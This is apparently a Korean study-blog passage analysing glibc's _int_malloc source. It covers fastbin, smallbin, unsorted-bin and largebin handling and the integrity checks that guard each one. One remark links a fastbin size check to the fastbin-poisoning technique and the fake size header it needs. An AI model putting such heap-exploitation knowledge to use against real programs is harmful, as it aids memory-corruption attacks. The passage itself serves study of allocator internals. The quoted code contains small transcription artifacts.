<p>만약 nb가 fastbin범위에 든다면 if문의 내부로 들어간다. 주석을 읽어보면, fastbin범위의 할당이 요청되면 가장 먼저 fastbin을 확인한다는 의미인 듯 하다. 따라서 if문 내부에는 fastbin에 할당할 청크가 존재하는지 확인하는 코드가 실행될 것으로 예상해볼 수 있다. </p>
<p>nb값을 바탕으로 fastbin에 해당하는 index값을 가져오고 포인터 fb에 해당 인덱스의 fastbin리스트 주소를 가져오고, victim에 *fb, 즉 fastbin 리스트를 대입한다. </p>
<p>만약 victim이 널이 아니라면 여러 fastbin 검증을 거치게 된다.</p>
<p>우선 victim에 가져온 fastbin청크를 바탕으로 misaligned 여부를 판단한다. misaligned_chunk 매크로를 타고 들어가보면 인자의 주소값을 0b1111과 and 연산하여 0이 아니라면 misaligned로 판단하는 듯 하다. 즉, 주소값의 16진수 기준 마지막 자리수가 0이어야 제대로 align되어 있다고 판단하는 듯 하다. </p>
<p>다음으로는 싱글스레드의 여부를 확인하여 싱글스레드면 fb에 victim의 fd값을 넣어준다. (단, REVEAL_PTR 매크로로 safe linking 했던 것을 복구하여 대입한다.) </p>
<p>처음에는 이게 정확히 뭘 하는 건가 했는데 포인터변수인 fb에 fd를 넣어줌으로써 fastbin의 가장 첫 번째 청크를 fd로 바꾸어주는, 즉 맨 앞의 청크를 fastbin연결리스트에서 제거하는 행위인 것 같다. </p>
<p>싱글 스레드가 아니라면 REMOVE_FB라는 매크로를 통해 특정 작업을 한다. 아마 이전과 동일하게 fastbin 리스트에서 청크를 제거하는 행위일 듯 하다. </p>
<p>fastbin에서 청크를 언링크하는 것으로 보아, 동적할당을 통해 해당 청크(즉, victim)을 반환할 것으로 보인다. </p>
<pre><code class="language-c">      if (__glibc_likely (victim != NULL))
        {
          size_t victim_idx = fastbin_index (chunksize (victim));
          if (__builtin_expect (victim_idx != idx, 0))
        malloc_printerr (&quot;malloc(): memory corruption (fast)&quot;);
          check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
(...중략...)
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
    }</code></pre>
<p>그리고 또 한번의 검증 절차를 거치는데, 조건을 잘 보니 어디서 많이 보던 것이다. </p>
<p>바로 fastbin poisoning을 통해서 원하는 곳에 청크를 할당할 때, 그 주소의 이전 부분에 size를 알맞게 세팅해주어야 했던 우회기법을 만들어낸 검증 절차이다. victim의 주소로부터 가져온 인덱스값과 nb로부터 가져온 인덱스 값을 비교하여 내가 원하는 할당 크기가 victim의 주소에 알맞게 헤더로서 세팅되어있는지를 확인하고 있다. </p>
<p>그리고 나서 victim의 청크가 제대로된 청크인지 (arena일치, size가 범위 내에 있는 등등)을 check_remalloced_chunk 로 확인한다. </p>
<p>다음으로는 tcache를 사용할 때만 유효한 부분이 존재하는데, 일단은 뒷 부분 먼저 보고 이 부분을 살펴보기로 하자. </p>
<p>void형 포인터변수 p에 victim을 메모리로 변환하여 대입하고, 이를 반환하고 있다. 이전에 예측한대로, 만약 이 if문 내부에 들어왔다면 victim이 동적할당의 결과로 반환된다. 만약 fastbin크기의 동적할당요청이면서 fastbin내부에 청크가 존재했다면 그 청크가 반환되고 malloc은 종료될 것이다. </p>
<p>이제 잠깐 미뤄두었던 tcache관련 코드를 살펴보자. </p>
<pre><code class="language-c">#if USE_TCACHE
          /* While we&#39;re here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache &amp;&amp; tc_idx &lt; mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count
             &amp;&amp; (tc_victim = *fb) != NULL)
            {
              if (__glibc_unlikely (misaligned_chunk (tc_victim)))
            malloc_printerr (&quot;malloc(): unaligned fastbin chunk detected 3&quot;);
              if (SINGLE_THREAD_P)
            *fb = REVEAL_PTR (tc_victim-&gt;fd);
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif</code></pre>
<p>주석을 살펴보면 동일한 사이즈의 다른 청크들이 있다면 그것을 tcache에 넣는다고 한다. </p>
<p>정확히 뭘 하는건지 이해하기 힘드니 일단 코드를 계속 보자. </p>
<p>우선 nb에 해당하는 tcache 인덱스값을 가져오고, while문에 의해 특정 코드가 반복된다. </p>
<p>주석을 읽어보면 bin이 비거나 tcache가 가득차지 않는 한 chunks를 copy한다고 되어있는데(실제로 코드를 살펴보면, while문의 조건과 동일하다), 뭔가 tcache에 자리가 생겼다면 bin의 청크를 tcache로 옮기는 것 같은 느낌이다. </p>
<p>while문 내부 코드를 살펴보자.</p>
<p>tc_victim은 *fb를 초기값으로, 순차적으로 fastbin의 리스트에서 fd값을 통해 청크들을 가져와 대입되고 있다. 그리고 그 과정에서 tc_victim이 misaligned 여부를 검사하고, (애초에 반복이 된다는 것 자체만으로 tcache에 자리가 있음이 보장된다는 것을 기억해야 함) 검사를 통과하면 fastbin리스트에서 tc_victim을 unlink한 다음 (fastbin의 재할당과정과 동일하게 단일스레드라면 단순히 포인터변수의 대입을 이용, 다중 스레드라면 REMOVE_FB를 이용한다), tc_victim을 <code>tcache_put</code> 을 이용해 tcache에 넣어준다. 코드를 보니까 추측한 바가 맞는 듯 하다. </p>
<h3 id="2-if문-⇒smallbin-크기">2. if문 ⇒smallbin 크기</h3>
<pre><code class="language-c">/*
     If a small request, check regular bin.  Since these &quot;smallbins&quot;
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim-&gt;bk;
      if (__glibc_unlikely (bck-&gt;fd != victim))
        malloc_printerr (&quot;malloc(): smallbin double linked list corrupted&quot;);
          set_inuse_bit_at_offset (victim, nb);
          bin-&gt;bk = bck;
          bck-&gt;fd = bin;

          if (av != &amp;main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
(...중략...)
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
</code></pre>
<p>이제부터는 nb가 fastbin의 범위에 들지 않는다면 실행되는 부분이다. </p>
<p>그 중에서도 smallbin크기에 속한다면 if문 내부로 들어간다. </p>
<p>주석을 읽어보면 이제 regular bin을 살펴볼 차례라고 하면서 large bin과 다르게 small bin은 빠른 편이라고 되어있는데, 실제로 ptmalloc에 대해 공부할 때 다른 크기의 요청은 fastbin → small bin→unsorted bin의 순서로 탐색하지만 large bin크기의 요청은 unsorted bin을 먼저 탐색하고 large bin을 탐색하며 탐색 과정에서 unsorted bin의 청크들이 원래 크기의 bin으로 분류되는 과정까지 진행된다고 했으므로 확실히 large bin 크기의 할당이 훨씬 복잡할 것 같은 느낌이다. 실제로 주석에서도 <code>For a large request, we need to wait until unsorted chunks are processed to find best fit</code> 라는 언급이 존재한다. 뭔가 large bin크기의 요청은 벌써부터 분석이 무서워진다.. 일단 small bin을 살펴보자… </p>
<p>만약 nb크기에 해당하는 smallbin인덱스의 bin값이 그 bin의 bk값과 동일하지 않다면 if문 내부로 들어간다. 이게 무슨 의미인지 고민을 해보았는데, smallbin에 청크가 존재하는지 아닌지의 여부를 판단하는 것인 것 같다. 만약 smallbin에 청크가 없다면 smallbin에 청크가 있을 때와 동일한 방법으로 할당이 어려운 것은 당연하다. 그래서 추후에 다른 방식으로 할당이 이루어질 것이다. 확실한 건 아니지만 추측하기로는 unsorted bin을 탐색한다던가 아예 새로운 영역을 할당한다거나 하는 코드로 이어지지 않을까? </p>
<p>어쨋든 small bin에 청크가 존재한다면 이제 그 청크를 unlink할 차례이다. </p>
<p>우선 victim은 bin의 bk인 상태이며, victim의 bk의 fd가 victim이 아니라면 오류를 발생시킨다. </p>
<p>보통 경우라면 당연히 통과하겠지만, 메모리 corruption을 하려는 사람의 입장에서는 매우 까다로운 조건이다. 애초에 bk나 fd의 변조자체를 막아버린 것이기 때문이다. </p>
<p>검증을 통과하고 나면 본격적인 unlink절차에 들어간다. </p>
<p>victim의 다음 청크의 prev_inuse flag를 set하고 연결리스트 상에서 청크 2개의 fd, bk를 서로 연결하여 victim을 연결리스트에서 제거한다.  </p>
<p>이후 (tcache사용 시의 코드는 잠시 뒤에 보는 걸로 하고) victim의 메모리주소를 가져와 void형 포인터 p에 넣고 p를 반환한다. </p>
<p>따라서 smallbin에 알맞은 청크가 존재했다면 여기서 malloc이 종료될 것이다. 하지만 그러지 못했다면 코드는 계속 진행될 것이다. </p>
<pre><code class="language-c">#if USE_TCACHE
      /* While we&#39;re here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache &amp;&amp; tc_idx &lt; mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count
             &amp;&amp; (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim-&gt;bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &amp;main_arena)
            set_non_main_arena (tc_victim);
              bin-&gt;bk = bck;
              bck-&gt;fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif</code></pre>
<p>잠시 미뤄두었던 tcache관련 코드이다. 주석을 보니 이전에 fastbin에서 봤던 것과 동일하다. 아마 여기도 동일하게 tcache에 자리가 있거나 bin이 비지 않는한 bin의 청크를 tcache로 옮겨주는 과정인 듯 하다. </p>
<p>실제로 while문에서 그 여부를 검사하고 있고, while문이 돌아가는 한, bin에 존재하는 청크를 bin리스트에서 unlink하고 tcache_put을 통해 tcache에 넣어주고 있다.</p>
<h3 id="3-else문-⇒-largebin-크기">3. else문 ⇒ largebin 크기</h3>
<pre><code class="language-c">/*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (atomic_load_relaxed (&amp;av-&gt;have_fastchunks))
        malloc_consolidate (av);
    }</code></pre>
<p>fastbin, smallbin 중 어느 크기에도 속하지 않는다면 해당 else문의 내부로 들어온다. </p>
<p>주석을 읽어보면 계속 진행하기 전에 fastbin을 병합한다고 한다. 그리고 지금 타이밍에 병합을 하는 것이 왜 효율적인지도 설명해주고 있다. </p>
<p>실제로 코드를 보면 fastbin에 청크가 있다면, malloc_consolidtate가 이루어진다. 여기까지 오고 나니 생각나는 것이 하나 있었다. 이전에 ptmalloc을 공부할 때 fastbin의 consolidation이 largebin크기의 청크가 할당되거나 small bin을 다 돌아도 청크를 찾지 못할 때 이루어진다고 했는데, 되게 상관없는 두 가지가 consolidation의 조건이라는 이름으로 묶여있다고 생각했는데, 이는 malloc_consolidate가 이 곳에 위치하는 이상 당연한 것이었다. </p>
<p>malloc_consolidate의 내부는 _int_malloc의 분석이 끝난 다음에 살펴보기로 하자. </p>
<p>이제 fastbin과 smallbin에서 청크를 찾지 못했다면 어떤흐름이 이어지는지 계속 살펴보자. </p>
<h3 id="4-unsorted-bin-탐색">4. unsorted bin 탐색</h3>
<pre><code class="language-c">/*
     Process recently freed or remaindered chunks, taking one only if
     it is exact fit, or, if this a small request, the chunk is remainder from
     the most recent non-exact fit.  Place other traversed chunks in
     bins.  Note that this step is the only place in any routine where
     chunks are placed in bins.

     The outer loop here is needed because we might not realize until
     near the end of malloc that we should have consolidated, so must
     do so and retry. This happens at most once, and only when we would
     otherwise need to expand memory to service a &quot;small&quot; request.
   */

#if USE_TCACHE
  INTERNAL_SIZE_T tcache_nb = 0;
  size_t tc_idx = csize2tidx (nb);
  if (tcache &amp;&amp; tc_idx &lt; mp_.tcache_bins)
    tcache_nb = nb;
  int return_cached = 0;

  tcache_unsorted_count = 0;
#endif

for (;; )
    {
      int iters = 0;</code></pre>
<p>우선 tcache를 사용하는 경우 tc_idx, tcache_nb의 값을 설정해준 다음 return_cached와 tcache_unsorted_count를 0으로 설정해주는데 아직은 무슨 용도인지 모르겠다. 추후에 필요한 값인 듯 하다. </p>
<p>그리고 나서 for문이 존재하는데 이 for문은 여기서부터 _int_malloc이 종료될 때까지를 모두 감싸고 있는 거대한 반복문이다. 주석을 읽어보면 만일에 대비하여 retry를 하기 위해 존재하는 반복문인 듯 한데 대부분 한번만 실행된다고 하니 일단은 없는 셈 치고 봐도 될 듯 하다. </p>
<p>그리고 밑에 나올 또 다른 거대한 반복문인 while문 (for문 내부에 존재)을 위한 반복인자으로 보이는 <code>iters</code>를 선언하고 0으로 초기화한다. </p>
<p>주석을 참고하면 지금부터는 최근에 해제되거나 남은 청크들을 처리하여 알맞은 청크가  있다면 가져오고 탐색과정에서 지나치는 청크들을 알맞은 bin에 넣어준다고한다. 아마 이것이 unsorted bin 탐색 시에 탐색된 청크들은 크기에 따라 알맞은 bin으로 분류된다고 했던 부분인 듯 하다.</p>
<p>while문 내부를 살펴보자. </p>
<pre><code class="language-c">
      while ((victim = unsorted_chunks (av)-&gt;bk) != unsorted_chunks (av))
        {
          bck = victim-&gt;bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);

          if (__glibc_unlikely (size &lt;= CHUNK_HDR_SZ)
              || __glibc_unlikely (size &gt; av-&gt;system_mem))
            malloc_printerr (&quot;malloc(): invalid size (unsorted)&quot;);
          if (__glibc_unlikely (chunksize_nomask (nex t) &lt; CHUNK_HDR_SZ)
              || __glibc_unlikely (chunksize_nomask (next) &gt; av-&gt;system_mem))
            malloc_printerr (&quot;malloc(): invalid next size (unsorted)&quot;);
          if (__glibc_unlikely ((prev_size (next) &amp; ~(SIZE_BITS)) != size))
            malloc_printerr (&quot;malloc(): mismatching next-&gt;prev_size (unsorted)&quot;);
          if (__glibc_unlikely (bck-&gt;fd != victim)
              || __glibc_unlikely (victim-&gt;fd != unsorted_chunks (av)))
            malloc_printerr (&quot;malloc(): unsorted double linked list corrupted&quot;);
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr (&quot;malloc(): invalid next-&gt;prev_inuse (unsorted)&quot;);
</code></pre>
<p>우선 while문의 조건을 살펴보면 <code>unsorted_chunks</code> 매크로를 통해 가져온 청크의 bk에 해당하는 청크를 victim에 넣고 그것이 <code>unsorted_chunks</code> 매크로를 통해 가져온 청크와 같은지를 보고 있다. 같지 않다면 while문은 계속 반복된다. </p>
<p>우선 <code>unsorted_chunks</code> 매크로를 살펴보면 이는 곧 av→bins[0]과 동일하다. malloc_state구조체에서 bins 배열은 fastbin을 제외한 bin들을 관리하고 이 중 가장 첫 번째 요소가 unsorted bin이라고 했기 때문에 매크로 이름에서 알 수 있듯 unsorted bin 리스트를 가져온 것을 알 수 있다.</p>
<p>while문의 조건이 의미하는 것은 아까 small bin에서 했던 것과 비슷하게 unsorted bin이 비어있는지를 확인하는 것인 듯 하다. 따라서 이 반복문은 unsorted bin에 청크가 존재하는 한 반복될 것이다. </p>
<p>이제 while문 내부를 살펴보자. </p>
<p>우선 bck에 victim의 bk를 대입하고 size에는 victim의 size를, next에는 메모리상에서 victim 바로 다음에 존재한 청크를 대입한다.</p>
<p>그리고 다음과 같은 검증을 거친다.</p>
<ol>
<li>size가 헤더 사이즈보다 작거나 system_mem보다 크진 않은지를 확인</li>
<li>next청크의 크기가 헤더 사이즈보다 작거나 system_mem보다 크진 않은지를 확인</li>
<li>next chunk의 prev_size값이 size(=victim의 size)와 동일한지 확인</li>
<li>bck(victim의 bk)의 fd가 victim인지, victim의 fd가  unsorted_chunks (av)인지 확인</li>
<li>next의 prev_inuse flag가 set되어있는지 확인</li>
</ol>
<p>확실히 검증 절차가 많다. 뭔가 특정 값을 이 절차들을 우회해서 변조하기는 거의 불가능에 가까워 보인다. (헤더, fd와 bk까지 검사하니까)</p>
<p>만약 검증절차를 모두 통과하면 계속 진행된다. </p>
<p>이제 본격적으로 알맞은 청크를 탐색할것으로 예상된다. </p>
<p><strong>1) last remainder 청크 확인</strong></p>
<pre><code class="language-c">
          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &amp;&amp;
              bck == unsorted_chunks (av) &amp;&amp;
              victim == av-&gt;last_remainder &amp;&amp;
              (unsigned long) (size) &gt; (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)-&gt;bk = unsorted_chunks (av)-&gt;fd = remainder;
              av-&gt;last_remainder = remainder;
              remainder-&gt;bk = remainder-&gt;fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder-&gt;fd_nextsize = NULL;
                  remainder-&gt;bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &amp;main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }</code></pre>
<p>주석을 읽어보면, 할당 요청이 small request일 때에는 last remainder chunk가 unsorted bin에 존재하는 유일한 청크일 때에 한해 그것을 먼저 확인하라고 되어있다. 이 방식을 통해 small requests가 연속적으로 들어올 때 locality를 유지할 수 있다고 한다. 아마 비슷한 위치에 청크들을 할당시킬 수 있다는 의미일 것이다. </p>
<p>실제로 조건을 살펴보면 다음과 같다.</p>
<ol>
<li>nb가 small bin의 범위에 있고 </li>
<li><code>bck == unsorted_chunks (av)</code> 일 때(bck는 victim의 bk이므로 victim의 bk가 unsorted_chunks(av)라면 victim이 unsorted bin의 유일한 청크인 상황이 될 것이다) </li>
<li><code>victim == av-&gt;last_remainder</code> 일 때, 즉 victim이 last remainder 청크일 때</li>
<li><code>(unsigned long) (size) &gt; (unsigned long) (nb + MINSIZE)</code> 일 때, 즉 victim의 크기가 요청된 사이즈보다 충분히 클 때</li>
</ol>
<p>종합해보면 small request이면서 last remainder chunk가 unsorted bin 존재하는 유일한 청크이며 그것의 크기가 요청을 처리하기에 충분하다면 조건문의 내부로 들어가는 것이며 이는 곧 주석이 의미하는 것과 동일하다. </p>
<p>따라서 이 조건문 내부에서는 last remainder chunk를 확인하는 과정이 있을 것이다.</p>
<p>내부를 살펴보자. </p>
<p>주석을 보면 split, reattach를 하라고 되어있다.</p>
<p>아마 요청 크기에 맞게 청크를 쪼개고 bin의 연결 관계를 정리한 다음 청크를 할당할 것이다. </p>
<p>우선 <code>remainder_size</code> 에 size-nb를 대입하는데 이는 필요한 만큼을 쪼개고 남은 크기이다. </p>
<p>그리고 <code>remainder</code> 에는 victim의 주소+nb만큼의 주소를 대입해주는데 이 역시 필요한 만큼을 쪼개고 남은 청크의 시작 주소이다. </p>
<p>다음으로는 <code>unsorted_chunks (av)</code> 의 fd와 bk를 remainder로 바꾸어준다. (처음엔 이게 도대체 뭐하는거지..? 라고생각했는데 생각해보니까 이 if문 내부로 들어오려면 unsorted bin에는 청크가 하나만 있던 상황이므로 unsorted bin의 유일한 청크를 remainder로만 업데이트 해준다고 생각하니 이해가 되었다. </p>
<p>그리고 av, 즉 arena에 해당하는 malloc_state구조체의 last_remainder값을 remainder로 바꾸어준다.</p>
<p>그 다음으로는 remainder의 bk와 fd를 <code>unsorted_chunks (av)</code> 로 바꾸어준다. (unsorted bin에 존재하는 유일한 청크로써 remainder를 넣어준다고 생각하면 편하다)</p>
<p>그리고 남은 청크의 사이즈(remainder_size)가 small bin의 범위가 아니라면 fd_nextsize와 bk_nextsize를 null로 설정해준다.  이 두 값은 large bin 사이즈의 청크에만 필요한 값으로 알고있느데 small bin범위가 아니라면 large bin의 범위에 속할 테니 필요할 두 값을 null로 초기화하는 과정인 듯 하다.</p>
<p>여기까지 청크를 쪼개고 bin의 연결관계 정리가 끝났다. 이제 쪼개놨던 청크(victim)을 할당할 차례이다. </p>
<p>각각 victim과 remainder의 헤더를 알맞게 세팅해주고 remainder의 메모리 상 인접 청크에 prev_size값도 알맞게 세팅해준다. </p>
<p>그리고 victim을 검증한 다음 void형 포인터 변수 p에 victim을 메모리 주소로 변환하여 대입하고 이를 return한다. </p>
<p>이 상황에 맞는 청크를 찾았다면 여기서 malloc이 종료될 것이다.</p>
<p>하지만 알맞은 청크가 없었다면 malloc은 계속 진행된다. </p>
<p><strong>2) fit 청크 확인</strong></p>
<pre><code class="language-c">/* remove from unsorted list */
          if (__glibc_unlikely (bck-&gt;fd != victim))
            malloc_printerr (&quot;malloc(): corrupted unsorted chunks 3&quot;);
          unsorted_chunks (av)-&gt;bk = bck;
          bck-&gt;fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &amp;main_arena)
        set_non_main_arena (victim);
#if USE_TCACHE
          /* Fill cache first, return to user only if cache fills.
         We may return one of these chunks later.  */
          if (tcache_nb
          &amp;&amp; tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count)
        {
          tcache_put (victim, tc_idx);
          return_cached = 1;
          continue;
        }
          else
        {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
#if USE_TCACHE
        }
#endif
            }
</code></pre>
<p>코드를 보니 실제로 victim의 bk인 bck의 fd가 victim인지 확인하는 검증절차를 거친 다음, 냅다 unsorted bin에서 청크를 제거해버리길래 뭐하는거지? 싶어서 밑을 먼저 간단하게 살펴보고 왔더니 진행이 이런 식으로 이루어지는 듯 하다. </p>
<p>⇒ 우선 victim청크가 할당 요청이 들어온 크기와 동일하다면 victim청크를 할당한다</p>
<p>⇒ 만약 아니라면 bin으로 분류한다. </p>
<p>⇒ last remainder청크 확인 절차까지 포함한 이 루틴을 unsorted bin에 청크가 없어질 때까지 혹은 청크의 할당이 이루어질 때까지 반복한다. (while문에 의한 반복)</p>
<p>좀 더 정리해보자면 이 거대한 while문의 동작은 다음과 같다.</p>
<p>unsorted bin의 청크를 순차적으로 가져와 last remainder ⇒ fit chunk 순으로 확인하고 조건에 맞다면 할당, 아니라면 bin으로 분류하는 과정을 unsorted bin에 청크가 존재하는 한 반복하여 시행한다. </p>
<p>따라서 이 부분은 청크가 fit chunk인지 확인하는 부분일 것이다. </p>
<p>실제로 if문의 조건을 보면, size와 nb가 동일한지를 확인하고 있다. 만약 동일하다면 현재 보고 있는 청크가 fit chunk라는것이며 조건문 내부로 들어간다. </p>
<p>조건문 내부를 보면 victim 청크의 할당 절차가 존재한다. (일단 tcache부분은 무시하자.)</p>
<p>메모리 상의 다음 청크에 prev_inuse flag를 set하고 청크를 검증한 다음 void 형 포인터 p에 victim을 메모리 주소로 변환해 대입하고 이를 return하고 있다. 만약 여기서 return이 이루어진다면 malloc은 여기서 종료된다. 만약 그렇지 않다면 이 청크를 알맞은 bin에 넣는 과정으로 이어질 것이다. </p>
<p>잠깐 미뤄뒀던 tcache부분을 살펴보자면, 만약 nb가 tcache의 범위 내에 있었다면 이전에 tcache_nb가 설정되어있었을 것이므로 <code>tcache_nb</code> 부분은 참이 될 것이고 <code>tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count</code> 라는 조건은 해당하는 인덱스의 tcache에 공간이 있다면 참이 될 것이다. </p>
<p>따라서 현재 요청된 크기가 tcache 범위 내에 있으며 그 인덱스의 tcache 리스트에 공간이 있다면 청크의 할당이 이루어지기 전에 먼저 이 청크를 tcache에 넣어버린다. 그리고 초기값을 0으로 설정했던 <code>return_cached</code> 라는 값을 1로 바꾸어준다. <code>return_cached</code> 는 이 while문 내에서 tcache로 들어간 청크가 존재한다면 1로 바뀌는 값인가보다. 그리고 continue가 있기 때문에 아래의 모든 절차를 건너뛰고 다음 unsorted bin의 청크를 탐색하는 절차로 넘어갈 것이다. </p>
<p>조금 특이하게 느껴졌던게, 요청에 fit하는 청크를 발견했음에도 조건만 맞는다면 이를 할당하는 것이 아닌 tcache로 먼저 옮기는 것이 신기했다. 뭔가 직관적으로 보기엔 바로 할당해버리는게 더 효율적일 것 같은데 종합적으로 판단했을 때는 tcache에 넣어버리는 것이 더 효율적인가보다. 아무래도 동적할당은 비슷한 크기가 계속해서 이루어지는 경우가 많으니까 다음 번의 동적할당을 고려한다면 지금은 이미 bin의 탐색 절차까지 와버렸으니 계속 탐색을 이어간 다음 다음 동적 할당에서 탐색 시간을 줄이는 게 더욱 이득이라서 그런 것일까? 이유가 좀 궁금해졌다.</p>
<p>물론 조건이 맞지 않는다면 원래대로 fit chunk를 할당하고 malloc을 끝내버릴 것이다. </p>
<p>코드를 계속보자. </p>
<p><strong>3) 청크를 bin에 분류</strong></p>
<pre><code class="language-c">
          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck-&gt;fd;
            }</code></pre>
<p>주석에서도 알 수 있다시피 이제 청크를 알맞은 bin에 분류한다. </p>
<p>먼저 size(victim의 크기)가 smallbin 범위에 들어간다면 조건문 내부로 들어간다. </p>
<p>victim_index를 설정해주고 인덱스값을 바탕으로 이에 해당하는 smallbin리스트를 가져오고 bck에 <code>bin_at (av, victim_index)</code> , fwd에 <code>bin_at (av, victim_index)</code> 의 fd를 대입한다. 아마 삽입할 bin의 bk에 bck를 fd에 fwd를 대입해주어 <code>bin_at (av, victim_index)</code> 과 <code>bin_at (av, victim_index)</code> 의 fd 사이에 victim을 삽입해주는 듯 하다.</p>
<pre><code class="language-c">          else
            **{**
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck-&gt;fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck-&gt;bk));
                  if ((unsigned long) (size)
              &lt; (unsigned long) chunksize_nomask (bck-&gt;bk))
                    {
                      fwd = bck;
                      bck = bck-&gt;bk;

                      victim-&gt;fd_nextsize = fwd-&gt;fd;
                      victim-&gt;bk_nextsize = fwd-&gt;fd-&gt;bk_nextsize;
                      fwd-&gt;fd-&gt;bk_nextsize = victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size &lt; chunksize_nomask (fwd))
                        {
                          fwd = fwd-&gt;fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd-&gt;fd;
                      else
                        {
                          victim-&gt;fd_nextsize = fwd;
                          victim-&gt;bk_nextsize = fwd-&gt;bk_nextsize;
                          if (__glibc_unlikely (fwd-&gt;bk_nextsize-&gt;fd_nextsize != fwd))
                            malloc_printerr (&quot;malloc(): largebin double linked list corrupted (nextsize)&quot;);
                          fwd-&gt;bk_nextsize = victim;
                          victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;
                        }
                      bck = fwd-&gt;bk;
                      if (bck-&gt;fd != fwd)
                        malloc_printerr (&quot;malloc(): largebin double linked list corrupted (bk)&quot;);
                    }
                }
              else
                victim-&gt;fd_nextsize = victim-&gt;bk_nextsize = victim;
            }</code></pre>
<p>만약 largebin크기의 청크였다면 이 else문이 실행될 것이다. 우선 victim_index, bck, fwd값을 이전과 동일한 원리로 세팅해준다. </p>
<p>하지만 large bin 크기의 청크는 그 외에도 뭔가가 많다. 계속 살펴보자. </p>
<p>주석을 보니 large bin의 경우에는 정렬 순서를 유지해 줘야 하기 때문에 처리할 것이 더 많은 듯 하다.</p>
<p>실제로 large bin은 여러 크기의 청크를 한 연결리스트에서 관리하며 재할당 시의 효율을 위해 내부의 청크들이 내림차순으로 정렬되어 있다고 배웠다. 따라서 단순히  <code>bin_at</code> 매크로로 가져온 청크와 그 청의 fd 사이에 이 청크를 삽입하는 것이 아니라 <strong>크기에 따라 알맞은 자리를 찾아주는 과정</strong>이 필요하다. </p>
<p>우선 fwd와 bck의 일치여부를 확인하는데, 만약 이 두개가 일치한다면 largebin에 청크가 없는 상태라는 의미이다. 이는 곧 정렬에 관계없이 victim을 삽입만 해주면 된다는 의미이며 바로 맨 밑의 else문으로 빠져 <code>victim-&gt;fd_nextsize = victim-&gt;bk_nextsize = victim;</code> 코드가 실행될 것이다. 즉, 별다른 조치 없이 largebin에 넣기 위한 <code>fd_nextsize</code> , <code>bk_nextsize</code> 만 설정된 상태로 실제로 victim청크를 link하기 위한 코드로 이어진다. </p>
<p>하지만 조건문이 참이라면 이는 곧 largebin에 청크가 있다는 의미이므로 if문 내부로 들어가 알맞은 자리를 찾아주기 위한 과정이 시작된다. </p>
<p><strong>만약 bck→bk(해당 largebin에 존재하는 가장 작은 청크)보다 size가 작다면</strong> 주석에 나온대로 smallest보다 작다는 의미이므로 바로 알맞은 위치를 찾을 수가 있다. 즉, bck와 bck의 bk 사이에 victim을 삽입해주면 된다. 따라서 이에 맞게 bck와 fwd를 각각 bck와 bck의 bk로 바꾸어준다음 victim과 인접 청크들의 fd_nextsize와 bk_nextsize값을 설정해준다. </p>
